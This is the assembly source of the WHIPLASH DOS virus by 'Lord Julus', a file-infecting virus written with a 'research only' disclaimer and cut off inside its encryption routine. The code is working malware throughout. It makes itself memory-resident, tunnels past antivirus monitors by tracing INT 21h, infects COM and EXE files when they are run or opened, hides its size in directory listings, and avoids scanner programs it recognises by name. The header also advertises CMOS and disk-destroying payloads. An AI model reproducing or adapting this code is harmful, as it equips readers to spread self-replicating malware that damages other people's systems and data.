; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Following you have the original article, spell checked, arranged ³ ; ³ and... with God's help, bug checked... ³ ; ³ ³ ; ³ Lord Julus - Feb. 1999 ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ;****************************************************************************; ; The Virus WHIPLASH v.1.0 beta test release Variant A ; ; Features: ; ; - resident ; ; - memory stealth ; ; ; - directory stealth ; ; - auto-check thru the mouse interrupt ; ; - traces down the original INT 21h to by-pass all AV's ; ; * - auto encrypt-decrypt of the virus' INT 21 handler ; ; * within the memory (anti tunneling) ; ; - infects COM & EXE ; ; - encrypts and mutates using 3 encryption methods ; ; - activates on certain dates and after a program ran 500 times ; ; * - destroys CMOS information on activation and sets a random ; ; * password on CMOS if AWARD or AMI ; ; * - deletes the first 66 and last 6 sectors on activation ; ; - displays a text ; ; * - continously reads and writes sector 0 (to trash it) ; ; ; ; THIS SOURCE IS PROVIDED FOR VIRUS RESEARCH ONLY ; ; ; ; Written and compiled by Lord Julus (C) ; ; The author is not responsible for any damages done by the use of this ; ; source. ; ; ; ; * - features not included with this beta test release ; ; Tremendous thanks for this virus go to: ; ; Rock Steady, Nowhere Man, Dark Angel, Hellraiser, ; ; Azrael, Dark Avenger, MnemoniX and all the guys ; ; at [NuKE], Phalcon/Skism, Youths Against McAfee ; ;****************************************************************************; ; This code is to be compiled with TASM 3.1 or better and TLINK 5.2 ; from Borland International .286 Code Segment Assume CS:Code,DS:Code,ES:Code jumps ;handles jumps over the allowed bound Org 100h START: Call GETBP GETBP: Mov SI,SP ;take the stack pointer location Mov AX,SS:[SI] ;take the bp used as DELTA HANDLE for my virus Sub AX,Offset GETBP ;subtract the length of the infected file Mov BP, AX ;in order to address my variables correctly Jmp REALSTART ;starting point ENTRY: Stc ;this is a trinky entry point to screw Jc START ;TBAV's F and J flags and to become ;iremovable. REALSTART: Cmp BP, 0 ; first time I run this? Je ROCK ; if so, do not decrypt Call DECRYPT3 ; else decrypt Jmp ROCK ; now start ;**************************************************************** ; PROCESS TO REMAIN RESIDENT ;**************************************************************** Nop ;some NOP's are needed to correct Nop ;when I divide STARTCOD123: ;This is where the code to be encrypted Nop ;starts Nop ; ROCK: Call ACTION_1 ;calls the action procedure Mov AX,0ABCDh ;call to my resident interrup mask Int 33h ;to check if I'm resident. Cmp BH,0DAh ;is bh = DAh? Jne NOEXIT_COM ;no! jump and stay resident Jmp EXIT_COM ;yes! move on... and run the original ;program Jmp NODECRYPT ;jump over the marker mark1 Db 'WHIPLASH v.1.0 beta test release Variant A' mark2 Db 'Written and compiled in Romania by Lord Julus' NOEXIT_COM: NODECRYPT: ; Call CHECK_4_DANGER ;checks wether there are dangers in memory ; Jc EXIT_COM ;split if something is out there Push DI ;save these registers as they are Push SI ;very important and I destroy them Push DS ;save the segments too Push ES Xor BX,BX Push CS ;Get CS=DS Pop DS Mov CX,ES Dec CX ;Get my MCB at PSP - 1 (PSP = CS) Mov ES,CX ;Put it in ES Mov BX,ES:[3] ;BX = total memory Mov DX,(Offset FIN - Offset START + 15 + 52)*2 ;Size for virus Add DX, 16 ;add another paragraph Add DX, 100h ;and 100h for PSP Mov CL,4 ;Now divide by 16 to get memory in Shr DX,CL ;paragraphs Add DX,4 Mov CX,ES Sub BX,DX ;now I shrink the total memory with Inc CX ;my size Mov ES,CX Mov AH,4Ah ;Call int to do it... Int 21h Jc EXIT_COM Mov AH,48h Dec DX ;lower one paragraph Mov BX,DX ; Int 21h ;and request memory from DOS Jc EXIT_COM Dec AX ;ax - 1 = my new MCB Mov ES,AX Mov Byte Ptr ES:[1],8 ;put '8' in the segment ;(owned by MSDOS) Mov Byte Ptr ES:[0],'M' ;mark it as a non-final block Mov DI,08 ;ES:[08] ... ES:[15] = owner's name Mov SI,Offset virname ;write it as 'MSDOS' Push CS Pop DS Mov CX,4 Repnz Movsw ;Copy name into field. Inc AX ; Mov ES,AX ;es = new segment where virus will stay Lea SI, [BP + Offset START] ;si = start of virus Mov DI,100h ;di = 100H (psp position) Push CS ; Pop DS ;ds = cs Mov CX, FIN - START ;cx = length of virus Rep Movsb ;move the virus into it's new ;location ;**************************************************************************; ; HOOK THE INTERRUPTS ; ;**************************************************************************; Cli ; disable interrupts Xor AX,AX ;now hook the int 21h Mov DS,AX ;ds=0000 Mov SI,21h*4 ;save the old int 21H vector Mov DI,Offset oldint21 ;into my variable Movsw ;just 2 words Movsw ; Mov SI,21h*4 ;save the old int 21H vector Mov DI,Offset oldint21_2 ;into another variable Movsw ; [oldint21] will be the Movsw ; original DOS interrupt ; [oldint21_2] will make the ; interrupt chain Mov AX, DS:[01h*4] ;Here I save int01's address Mov Word Ptr CS:[oldint01], AX ;to be able to restore it Mov AX, DS:[01h*4+2] Mov Word Ptr CS:[oldint01+2], AX Mov AX,Offset INT01H ;and set up new interrupt 01H Mov BX,01h*4 ; Mov Word Ptr DS:[BX],AX ;the segment... Mov AX,ES ; Mov Word Ptr DS:[BX+2],AX ;and the offset... Sti ;enable interrupts Xor AX, AX Mov DS, AX ;DS=0000 Pushf ;save flags Mov AX, 100h ;set the step-by-step flag Push AX ;push it Popf ;and pop the flags Mov AH, 30 ;make a fake call to INT 21h Pushf ;and after each instruction Call Dword Ptr DS:[21h * 4] ;an INT01 will be generated Popf ;restore flags Xor AX, AX ;ds=0000 again Mov DS, AX Cli Mov AX, Word Ptr CS:[oldint01] ;put INT01 back Mov Word Ptr DS:[01h*4], AX ;otherwise there will be Mov AX, Word Ptr CS:[oldint01+2] ;nasty conflicts Mov Word Ptr DS:[01h*4+2], AX Mov AX,Offset INT21H ;and set up new interrupt 21H Mov BX,21h*4 ; Mov Word Ptr DS:[BX],AX ;the segment... Mov AX,ES ; Mov Word Ptr DS:[BX+2],AX ;and the offset... Xor AX,AX ;now hook the int 33h Mov DS,AX Mov SI,33h*4 ;save the old int 33H vector Mov DI,Offset oldint33 Movsw Movsw Mov AX,Offset INT33H ;and set up new interrupt 33H Mov BX,33h*4 ; Mov Word Ptr DS:[BX],AX ; Mov AX,ES Mov Word Ptr DS:[BX+2],AX Push CS ;restore ds Pop DS ; Sti ;enable interrupts Pop ES Pop DS Pop SI ;restore those 2 very important Pop DI ;registers ;**************************************************************************; ; Exit from a COM or EXE file ; ; Now I get out of my virus. If it is the first run it will end, otherwise ; ; it will start the original infected program ; ;**************************************************************************; EXIT_COM: Mov DI, CS:[BP + Offset wrd] ;is it an EXE file? Cmp DI, 5A4Dh Je EXIT_EXE ;It's an EXE file... Push CS Pop ES Cmp BP, 0 ;is this the first run? Je DOS_EXIT ;yes, just quit! Mov AX, Word Ptr CS:[BP+buff] ;put back the 6 bytes I destroyed Mov Word Ptr CS:[100h], AX ;in the com file Mov AX, Word Ptr CS:[BP+buff+2] ;at address 100h, Mov Word Ptr CS:[102h], AX ;at address 102h, Mov AX, Word Ptr CS:[BP+buff+4] Mov Word Ptr CS:[104h], AX ;and at 104h Mov AX, 100h ;ax=original com entry point Jmp AX ;and jump to 100h to execute it DOS_EXIT: Mov AH, 4Ch ;Dos exit function Int 21h ;(notice that this is also hooked ;by my INT21 handler so no AV ;will ever say: 'Program is about ;to stay resident', or crap like ;that!) EXIT_EXE: Mov BX,Word Ptr CS:[buff+22][BP] ;Loads CS register Mov AX,CS ;Move current CS in AX Sub AX,BX ;Subtract for alinment Mov DX,AX Add AX,Word Ptr CS:[jmpsave2+2][BP] ;Get ORIGINAL CS Add DX,Word Ptr CS:[stacksave2+2][BP] ;Get ORIGINAL SS Mov BX,Word Ptr CS:[jmpsave2 ][BP] ;Get ORIGINAL IP Mov Word Ptr CS:[JUMPNOW][BP],BX ;Put IP back Mov Word Ptr CS:[JUMPNOW+2][BP],AX ;Put CS (Reverse Order) Mov AX,Word Ptr CS:[stacksave2][BP] ;Get ORIGNAL SP Mov Word Ptr CS:[MAKESTACK1][BP],DX ;Put SS Mov Word Ptr CS:[MAKESTACK2][BP],AX ;Put SP Jmp $+2 ;a delay Jmp $+2 ;to settle things Db 0B8h ;The Byte `B80000' is really a MOV AX,???? MAKESTACK1: ;???? is the Value of SS that we will put into Dw 0 ;THIS LINE! Cli ;Disable Interrupts (No Jamming) Mov SS,AX ;Mov the AX (really SS) into SS register Db 0BCh ;Byte `BC0000' is really a MOV SP,???? MAKESTACK2: ;???? is the Value of SP that we will put into Dw 0 ;THIS LINE!! Sti ;Enable Interrupts Db 0EAh ;The Byte `EA00000000' is a JMP CS:IP How ever JUMPNOW: ;IP comes FIRST then CS (Reverse Order) And then Dd 0 ;the Virus does the JMP CS:IP to the Original ;entry point. jmpsave2 Dd 0FFF00000h ; original CS:IP stacksave2 Dd ? ; original SS:SP DOS_INT_21: Pushf ;here I invoke the Call Dword Ptr CS:[oldint21] ;original INT 21h (in the DOS seg.) Ret ;***************************************************************** ;* HANDLER FOR THE INT 01H ;***************************************************************** INT01H: ;this is only used to trace down INT21h Push BP ;save BP Mov BP, SP ;get stack point Push AX ;save ax Mov AX, [BP+4] ;get the segment from stack Cmp AX, Word Ptr CS:[oldint21+2] ;is the seg. in [oldint21] different? Jae Exit ;no! still same segment Mov Word Ptr CS:[oldint21+2],AX ;Yes, it changed! save it Mov AX, [BP+2] Mov Word Ptr CS:[oldint21], AX ;and save the new IP too! Exit: Pop AX ;restore and split! Pop BP Iret ;***************************************************************** ;* HANDLER FOR THE INT 21H ;***************************************************************** INT21H: Cmp AH, 4Ch ; is it a DOS EXIT ? Jne NEEE ; (notice that I do not handle INT 20h Pushf ; exit. Call Dword Ptr CS:[oldint21] ; call orig. DOS int. Ret NEEE: Cmp AH, 4Bh ; a file is executed ? Je INFECT ; let's infect it... Cmp AH, 3Dh ; a file is to be opened using handler ? Je INFECT_1 ; maybe it's an exe or com... Cmp AH, 0Fh ; a file is to be opened using FCB ? Je INFECT_2 ; again, maybe it's and executable Cmp AH, 6Ch ; a file is about to be opened with Je INFECT_3 ; the extend open function Cmp AH, 11h ;these handle the dir stealth Je HIDEME1 ;using the FCB method Cmp AH, 12h Je HIDEME1 Cmp AH, 4Eh ;and these handle the dir stealth Je HIDEME2 ;using the FIND FIRST / NEXT Cmp AH, 4Fh ;method Je HIDEME2 INT21ORIG: Jmp Dword Ptr CS:[oldint21_2] ;jmp to original int 21h Ret ;(the one in the chain, not DOS') ;***************************************************************** ;***************************************************************** ; HANDLER FOR INT 33H ;***************************************************************** INT33H: ;this is my multiplex interrupt Cmp AX,0ABCDh ;is ax = ABCD ? (check if resident) Jne NO ;no! jump to original int 33 Mov BH,0DAh ;yes! put DA in bh Iret ;get out with the result NO: Jmp Dword Ptr CS:[oldint33] ; jump to the original INT 33 Ret ;***************************************************************** ;***************************************************************** ; The Directory stealth procedures ;***************************************************************** HIDEME1: Pushf Call Dword Ptr CS:[oldint21] ;get dir entry Test AL,AL ;now test Js DIR_STEALTH_DONE ;no need ! Push AX BX ES ;save registers Mov AH,2Fh ;get DTA Int 21h Cmp Byte Ptr ES:[BX],-1 ; check for extended FCB Jne NO_EXT_FCB ; no case! Add BX,7 ; add if it is extended FCB NO_EXT_FCB: Mov AX,ES:[BX + 17h] ; check for infection marker And AL,31 Cmp AL, Byte Ptr CS:[stamp] Jne DIR_FIXED ; not infected ! Mov AX, (Offset FIN - Offset START) ;check if it's not just Cmp AX, Word Ptr ES:[BX + 1Dh] ;a coincidence... Jg DIR_FIXED ;substr. size of my vir. Sub Word Ptr ES:[BX + 1Dh],(Offset FIN - Offset START) Sbb Word Ptr ES:[BX + 1Fh],0 DIR_FIXED: Pop ES BX AX ;restore DIR_STEALTH_DONE: Iret HIDEME2: ;this is much like Hideme1 Pushf Call Dword Ptr CS:[oldint21] Jc DIR_STEALTH_DONE_2 CHECK_INFECT2: Push AX BX ES Mov AH,2Fh Int 21h Mov AX,ES:[BX + 16h] And AL,31 ; check timestamp Cmp AL,Byte Ptr CS:[stamp] Jne FIXED_2 Mov AX, (Offset FIN - Offset START) Cmp AX, ES:[BX + 1Ah] Jg FIXED_2 Sub ES:[BX + 1Ah],(Offset FIN - Offset START) Sbb Word Ptr ES:[BX + 1Ch],0 FIXED_2: Pop ES BX AX Clc ; clear carry DIR_STEALTH_DONE_2: Retf 2 ;*****************************************************************; ; Area used as a STACK to save the original registers ; ;*****************************************************************; flags Dw ? aax Dw ? bbx Dw ? ccx Dw ? ddx Dw ? ssi Dw ? ddi Dw ? ees Dw ? dds Dw ? fcb_filename Db 15 Dup (?) ; used to create a pointer as DS:DX pushdxflag Db 0 ; a flag for DX pushdsflag Db 0 ; a flag for DS ;*************************************************************; ; Here starts the infection procedure ; ;*************************************************************; INFECT_3 : ; handles extend open Push DX ; in extend open the filename is Push DS ; pointed by DS:SI, so I have to Push SI ; make it to be pointed by DS:DX Mov DX, SI ; and so I do... Call CHECKNAME ; I check if it's and EXE or COM Pop SI Pop DS Jc OK1 ; yes, I can infect this one! Pop DX Jmp INT21ORIG OK1: Mov CS:[pushdxflag], 1 ; but I leave DX on stack so I ; mark the flag to POP DX later Mov DX, SI ; now I have DS:DX = filename Jmp INFECT ; infect it ! INFECT_2 : ; for files opened with FCB Push DX ; this is more difficult as the Push DI ; filename is in FCB as 'xxxxxxxx' Push AX ; the name and 'yyy' the ext. Mov DI, DX Mov AH, Byte Ptr DS:[DI] ; I check if it's an ext. FCB Cmp AH, -1 Jne NOT_EXT Add DX, 7 ; and if so I add 7 NOT_EXT: Add DX, 1 ; filename is at FCB+1 Mov DI, DX ; now I'm about to create a name Push SI ; and first I have the name Mov SI, Offset fcb_filename ; which I'm about to put in Mov CX, 8 ; FCB_filename (8 bytes long) NOTREADY: Cmp Byte Ptr DS:[DI],' ' ; this marks the end of name Je OUT1 ; so out ! Mov AH, Byte Ptr DS:[DI] ; otherwise I copy from FCB Mov Byte Ptr CS:[SI], AH ; and put into FCB_filename Inc SI ; incrementing the pointers Inc DI Loop NOTREADY OUT1: Mov Byte Ptr CS:[SI],'.' ; not I add the '.' Mov CX, 3 Add DX, 8 ; inc DX by 8 to point to the Mov DI, DX ; extension and put it in DI Inc SI NOTREADY2: Cmp Byte Ptr DS:[DI],' ' ; again I compare with #32 Je OUT2 Mov AH, Byte Ptr DS:[DI] ; otherwise I simply copy Mov Byte Ptr CS:[SI], AH ; bytes, but of course maximum Inc SI ; 3 Inc DI Loop NOTREADY2 OUT2: Pop SI ; Mov SI, DX ; now SI = FCB_filename Pop AX ; clear stack Pop DI ; Push SI ; Call CHECKNAME_2 ; and check if it's EXE or COM Pop SI Pop DX Jnc INT21ORIG ; if not run original INT 21h Push DS ; now I have to save these Push DX ; two registers that will get lost Mov [pushdxflag], 1 ; and set the flags to pop them Mov [pushdsflag], 1 ; later Push CS ; because, as I said in the INFECT Pop DS ; routine, the filename must be Mov DX, Offset fcb_filename ; at DS:DX Jmp INFECT INFECT_1 : ; for files opened with handler Push SI ; this is simple because DS:DX Call CHECKNAME ; point to filename Pop SI ; so I check if it's EXE or COM Jnc INT21ORIG ; no ! go back ! INFECT: ; this is the main routine that ; infects a file with the name at ; DS:DX Mov CS:[aax], AX ; save the registers first Mov CS:[bbx], BX ; in my stack Mov CS:[ccx], CX Mov CS:[ddx], DX Mov CS:[ddi], DI Mov CS:[ssi], SI Mov AX, DS Mov CS:[dds], AX Mov AX, ES Mov CS:[ees], AX Pushf ; and the flags too Pop AX Mov CS:[flags], AX Push CS ;get DS=CS Pop DS ; Mov AX,3524h ;get the dos error control Int 21h ;interrupt Mov Word Ptr errorh,ES ;and put it in cs:error Mov Word Ptr errorh+2,BX ; Mov AX,2524h ;change the dos error control Mov DX,Offset INT24 ;so I don't get 'Abort, Retry, Ignore' Int 21h ; Push ES ;Since I'm gonna start Mov AH, 2Fh ;with disk operations I save the Int 21h ;DTA to preserve the command lines Mov Word Ptr CS:[old_dta], BX ;and other stuff Mov Word Ptr CS:[old_dta+2], ES Push DS Push CS Pop DS Lds DX, [BP+Offset dta] Mov AH, 1Ah ;set the new DTA Int 21h ;(a 2Ch word long zone) Pop DS Pop ES Call REMAKETHEM ; this is a call used to restore the registers Mov AX,4300h ;get the file's Int 21h ;atributes Jc ERROR Mov Word Ptr CS:[attrib],CX Cmp CX, 0 ; atributes = already normal ? Je NOATTR ; then skip a INT 21 for speed Mov AX,4301h ;otherwise I will Xor CX,CX ;set the attributes Int 21h ;to normal Jc ERROR NOATTR: Call REMAKETHEM ;again restore registers Mov AX,3D02h ;open the file Call DOS_INT_21 ;for read/write (using the original ;DOS interrupt) Jnc NOSTOPIT ;there was no error ! Jmp ERROR ;there was an error ! NOSTOPIT: Mov BX,AX ;bx=handle for the opened file Mov Word Ptr CS:[handle], BX ;preserve handle Call CHECKFILE ;this checks if file is an AV... Jc ERROR ;which I don't want to infect ! Mov AX,5700h ;get the file time and date Int 21h ; Jc ERROR Mov Word Ptr CS:[hour],CX ;save the hour Mov Word Ptr CS:[day],DX ;save the day Push CS ; Pop DS ; Mov AH,3Fh ; Mov CX,20h ;read the 20h first bytes Lea DX,CS:[buff] ;put the bytes in cs:[buff] Int 21h ;to be able to run the original program Jc ERROR ; error, dude... Mov AL, CS:[buff] ;here I save the first 2 bytes Mov AH, CS:[buff+1] ;as a safety thigie Mov [wrd], AX Mov AX, 4202h ;this moves the file pointer to Call CHGPTR ;the end of file and dword ;at DX:AX = filesize Cmp Word Ptr CS:[buff],5A4Dh ;Is it an EXE file ? Je INFECTEXE ;JMP to EXE Infector Push CS ;make ds point to cs Pop DS ; Cmp Byte Ptr CS:[buff+3],'F' ;is file already infected? Jne CONTINUE ;no! Jmp STOPIT ;yes! CONTINUE: Mov AX,4202h ;move the pointer to end Call CHGPTR ;of the file Push CS ;I now calculate the length of the Pop DS ;host and I put it in the hostlen Sub AX,3 ;variable. It is the file length - 3 Add AX, (Offset ENTRY - Offset START) ;+ tricky entry point Mov Word Ptr CS:[hostlen],AX INFECTCOM: ;it's a COM ! Mov AX,4200h ;move the pointer Call CHGPTR ;to start of file Push CS ; Pop DS ; Mov AH,40h ; Mov CX,1 ;write the JMP Lea DX,CS:[jump] ;instruction in the Call DOS_INT_21 ;fist byte of the file Jc ERROR Mov AH,40h ;write the value of jmp Mov CX,2 ;in the file = length of host - 3 + entry len Lea DX,CS:[hostlen] ;as saved in hostlen variable Call DOS_INT_21 Jc ERROR Mov AH, 'F' ; infection marker Mov Byte Ptr CS:[address], 'F' ; mark as infected Mov AH, 40h ; now write it to file Mov CX, 2 Lea DX, CS:[address] Call DOS_INT_21 Jc ERROR Mov AX,04202h ;move the pointer to Call CHGPTR ;end of file Pushf ;now I have to save the registers on Pusha ;the real stack because I'll Push BP ;destroy them Push DI Push SI Push ES Push DS Call MOVEVIRUS ; move virus to end of cs to encrypt Call ENCRYPTROUTINE ; call the encryption routine Pop DS ;now restore the registers Pop ES Pop SI Pop DI Pop BP Popa Popf ;and the flags Call WRITEVIRUS ; call the routine to write the virus to file Jc ERROR ; error... it happens! Jmp STOPIT ; we are over ! INFECTEXE: ; here we infect an EXE file Cmp Word Ptr CS:[buff+12h], 'F' ;check if infected Je STOPIT ;already infected ! Cmp Word Ptr CS:[buff+1Ah], 1 ;check if Je ERROR ;exe has overlays (which is ;bad, BTW) Mov Word Ptr CS:[BP+filesize ], AX ;save filesize from DX:AX Mov Word Ptr CS:[BP+filesize+2], DX ; Les AX, Dword Ptr [BP+buff+14h] ;Save old entry point Mov Word Ptr [BP+jmpsave2], AX ;in jmpsave2 Mov Word Ptr [BP+jmpsave2+2], ES Les AX, Dword Ptr [BP+buff+0Eh] ;Save old stack Mov Word Ptr [BP+stacksave2],ES ;in stacksave2 Mov Word Ptr [BP+stacksave2+2], AX ;Here I check wether I have room within this exe or not Mov AX, Word Ptr CS:[BP+buff+06h] ;nr. of relocation items Inc AX ;add a new one (the virus) Mov CX, 4 ;each one is 4 bytes long Mul CX ;so multiply by 4 ;result in -> DX:AX Add AX, Word Ptr CS:[BP+buff+18h] ;add offset of Relocation Table Adc DX, 0 ;with carry, of course Mov DI, DX ;store them for now Mov SI, AX Mov AX, Word Ptr CS:[BP+buff+18h] ;now get the Relocation table Mov CX, 10h ;and multiply it by 16 Mul CX ;as it is in paragraphs ;result in -> DX:AX Sub AX, SI ;and now compare Sbb DX, DI Jae OK_3 ;it's OK! Jmp ERROR ;No, I can't infect this file! OK_3: Inc CS:[BP+buff+06] ;Inc number of relocation items Mov AX, Word Ptr CS:[BP+filesize ] ;restore filesize in DX:AX Mov DX, Word Ptr CS:[BP+filesize+2] ; Mov BX, Word Ptr CS:[BP+buff+08h] ;get header size, Mov CL, 4 ;convert it to bytes Shl BX, CL Sub AX, BX ;substract header size Sbb DX, 0 ;from filesize Call DIV_16 ;convert to seg:offs ;div by 16 Mov Word Ptr [BP+buff+14h], DX ;New entry point Mov Word Ptr [BP+buff+16h], AX Mov Word Ptr [BP+buff+0Eh], AX ;and stack (same segment) Add DX, (FIN-START)+100h ;SP = IP + virus_size + 256 Mov AX, DX ;now I look and see if... Shr AX, 1 ; (this is ax / 2) Shl AX, 1 ; (this is ax * 2) Cmp AX, DX ;...I got an odd SP Je OK_1 Inc DX ;if so, just add 1 OK_1: Mov Word Ptr [BP+buff+10h], DX ;New SP ;Although I make sure there is no odd stack, TBAV keeps giving the K flag, ;e.g. 'Unusual stack', and I don't know why... YET !! Mov AX, Word Ptr CS:[BP+filesize ] ;restore filesize in DX:AX Mov DX, Word Ptr CS:[BP+filesize+2] ; Add AX, FIN-START ;add virus size Adc DX, 0 ;propagate carry Mov CL, 9 ;2**9 = 512 Push AX ;make filesize in pages Shr AX, CL Ror DX, CL Stc Adc DX, AX ;filesize in pages Pop AX And AH, 1 ;mod 512 Mov Word Ptr [BP+buff+4], DX ;new file size Mov Word Ptr [BP+buff+2], AX ;now I correct a possible given by a MINMEM > MAXMEM Add Word Ptr CS:[buff+10],(FIN-START)/16+1 ;min para Mov AX,Word Ptr CS:[buff+10] ;ax=min para needed Cmp AX,Word Ptr CS:[buff+12] ;cmp with max para Jb SIZE_OK ;it's ok! Mov Word Ptr CS:[buff+12],AX ;nop, enter new max SIZE_OK: Mov Word Ptr CS:[buff+12h], 'F' ;mark as infected Pushf ;now I have to save the registers on Pusha ;the real stack because I'll Push BP ;destroy them Push DI Push SI Push ES Push DS Call MOVEVIRUS ; move virus to end of cs to encrypt Call ENCRYPTROUTINE ; call the encryption routine Pop DS ;now restore the registers Pop ES Pop SI Pop DI Pop BP Popa Popf ;and the flags Pushf ;now I have to save the registers on Pusha ;the real stack because I'll Push BP ;destroy them Push DI Push SI Push ES Push DS Mov AX, 4202h Mov BX, Word Ptr CS:[handle] Call CHGPTR Call WRITEVIRUS ;call the routine to write the virus to file Jc ERROR Pop DS ;now restore the registers Pop ES Pop SI Pop DI Pop BP Popa Popf ;and the flags Mov AX, 4200h ;move pointer to beginning of file Mov BX, Word Ptr CS:[handle] ;restore lost handle Call CHGPTR Mov AH,40h ;Write NEW EXE Header back Mov DX,Offset DS:[buff] ;to EXE File! Points to Mov CX,20h ;The Virus Now!!! Call DOS_INT_21 Jc ERROR Jmp STOPIT ;that's over with no error an_error Db 0 ;error flag ERROR: Mov Byte Ptr CS:[an_error], 1 ;sets error flag STOPIT: ;we are over Mov AX,5701h ;restore the file's Mov CX,Word Ptr CS:[hour] ;date and time Mov DX,Word Ptr CS:[day] ; Cmp Byte Ptr CS:[an_error], 1 ;if there was an error don't mark file Je JUMP1 And CL, -32 ;now I mask the seconds Or CL, Byte Ptr CS:[stamp] ;so file is marked as infected Int 21h ; JUMP1: Mov Byte Ptr CS:[an_error], 0 ;reset error flag Mov AH,3Eh ; Call DOS_INT_21 ;close the file Call REMAKETHEM Pusha ; Mov AX,4301h ;restores the atributes Mov CX,Word Ptr CS:[attrib] ;of the file Int 21h ; Popa ; Push DS ;restore the DTA Push CS Pop DS Lds DX, [BP+Offset old_dta] Mov AH, 1Ah Int 21h Pop DS Mov AX,2524h ; Lea BX,errorh ;restore the Mov DS,BX ;errors handler Lea BX,errorh+2 ; Int 21h ; Call REMAKETHEM Cmp CS:[pushdxflag], 1 ; do I have to pop dx ? Jne NO1 Pop DX ; yes, do it ! Mov CS:[pushdxflag], 0 NO1: Cmp CS:[pushdsflag], 1 ; do I have to pop ds ? Jne NO2 Pop DS ; that too, do it ! Mov CS:[pushdsflag], 0 NO2: Jmp INT21ORIG ;now jump to the original int 21h ;**************************************************************************; ; End of infection routine ; ;**************************************************************************; ;**************************************************************************; ; A zone with procedures I need ; ;**************************************************************************; MUL_16: ;All the crap here actually multiplies dword Push CX ;in DX:AX by 16. Push BX ;Check out Peter Norton's Advanced Assembly Mov CL, 4 ;Language for more shortcuts like this one. Shl DX, CL ; Mov BX, AX ;Plus, I'll never get 'Divide overflow' And BX, 0F000h ;with my routine here. Mov CL, 0Ch Shr BX, CL Or DX, BX Mov CL, 4 Shl AX, CL Pop BX Pop CX Ret DIV_16: ;This divides dword at DX:AX by 16 Push CX ;using the same technique. Push BX Push AX And AX, 0000Fh Mov BX, AX Pop AX Mov CL, 04h Shr AX, CL Mov CL, 0Ch Shl DX, CL Or AX, DX Mov DX, BX Pop BX Pop CX Ret comp Db 2,'TB' ;these are parts of filenames Db 2,'tb' ;I don't want to infect Db 2,'F-' Db 2,'f-' Db 4,'SCAN' Db 4,'scan' Db 5,'CLEAN' Db 5,'clean' Db 3,'RAV' Db 3,'rav' Db 3,'AVX' Db 3,'avx' Db 5,'VSAFE' Db 5,'vsafe' ;here you can insert many others in the same way: ;a byte for length of string and then the string Db 0 ;0 marks the end CHECKFILE: Push DX ;save regs to be lost Push DI Push SI Push CX Push ES Push CS Pop ES Mov SI, DX ;SI=DX Mov CX, 128 ;CX=max file name AG1: Cmp Byte Ptr DS:[SI],'.' ;did I reach the '.' in filename ? Je DONE ;yeah! Cmp Byte Ptr DS:[SI],0 ;or maybe a 0 Je DONE ;yeah! Inc SI ; otherwise Loop AG1 ; LOOP! Dec SI ; now dec SI to point to the last Mov CX, 128 ; character in the filename DONE: Cmp Byte Ptr DS:[SI], '\' ; and start looking for '\' Je DONE2 Cmp SI, DX ; or for the begining Je DONE3 Dec SI Loop DONE DONE2: Inc SI ; if I am at '\', add 1 DONE3: Xor CX, CX ; and all the stuff above made my SI Push SI ; point to the first character of the ; filename (I push SI to preserve addr.) Mov DI, Offset comp ; di = offset of the comparition strings REPEAT1: Mov CL, Byte Ptr CS:[DI] ; CL = length of string to compare to Inc DI ; jump over that Rep Cmpsb ; and comp. str. at SI with the one at DI Je DONE4 Pop SI ; SI = filename again Push SI ; PUSH to preserve Add DI, CX ; DI = DI + remainder after comparition Cmp Byte Ptr CS:[DI],0 ; is it the end ? Je DONE5 ; yeah ! Jmp REPEAT1 ; no ! repeat, please! DONE4: Stc ; set carry to mark that the filename Jmp DONE6 ; contains susspicious characters DONE5: Clc ; or clear it if it's ok! DONE6: Pop ES ; restore all Pop SI Pop CX Pop SI Pop DI Pop DX Ret ; and return CHECKNAME: Push CX Mov SI, DX ; si points to name Mov CX, 128 ; maximum 128 bytes CHECKAGAIN: Cmp Byte Ptr DS:[SI], 0 ; check until 0 is reached Je ALLRIGHT ; I'm there... Inc SI Loop CHECKAGAIN ALLRIGHT: Pop CX Sub SI, 3 ; make it point to the begining of ext. CHECKNAME_2: ; this is invoked by INFECT_2 Cmp Word Ptr DS:[SI], 'XE' ; is it `EXE' ? Jne EX1 Cmp Byte Ptr DS:[SI+2], 'E' Jne EX1 Jmp GOOD_FILE ; YEAH ! EX1: Cmp Word Ptr DS:[SI], 'xe' ; or maybe `exe' Jne EX2 Cmp Byte Ptr DS:[SI+2], 'e' Jne EX2 Jmp GOOD_FILE ; Oh, yeah, yeah ! EX2: Cmp Word Ptr DS:[SI], 'OC' ; If not, maybe `COM' Jne EX3 Cmp Byte Ptr DS:[SI+2], 'M' Jne EX3 Jmp GOOD_FILE ; Sure, baby ! EX3: Cmp Word Ptr DS:[SI], 'oc' ; last chance: `com' Jne EX4 Cmp Byte Ptr DS:[SI+2], 'm' Jne EX4 GOOD_FILE: Stc ; set carry for good file Jmp BYE EX4: Clc ; clear carry for bad file BYE: Ret ; wooh ! get back ! ;----------------------------------------------------------------------------- WRITEVIRUS: Mov AH,40h ; Mov CX,Offset FIN - Offset START ;copy the virus Mov DX,Offset FIN + 50 ;to end of file Call DOS_INT_21 Ret ;----------------------------------------------------------------------------- ENCRYPTROUTINE: ;************************************************************************; ; Here starts the encryption - mutation procedure ; ;************************************************************************; Call RANDOMIZE ;initialize the random generator ENCRYPT1: ;this is the first encryption ;procedure Call _RANDOM ;get a random number in AX Mov CX, 3 ;and make it modulo 3 so Call MODULO ;AX=0 or 1 or 2 Mov DI, Offset FIN ;set di to point Add DI, 50 ;to the address of method1 Add DI, Offset method1 ; Sub DI, 100h Mov [DI],AX ;save there the AX Mov BX, AX ;and also put the method used in BX Call _RANDOM ;get another random number Mov DI, Offset FIN ;make di to point to cheie1, Add DI, 50 ;the first encryption key. Add DI, Offset cheie1 Sub DI, 100h Mov [DI], AX ;save the key there Mov DI, Offset FIN ;di will now point to Add DI, 50 ;startcod123 Add DI, Offset STARTCOD123 Sub DI, 100h Mov CX, (ENDCOD1 - STARTCOD123) / 2 ;cx = length of code to encrypt IAR11: Cmp BX, 0 ;is it the first method? Je 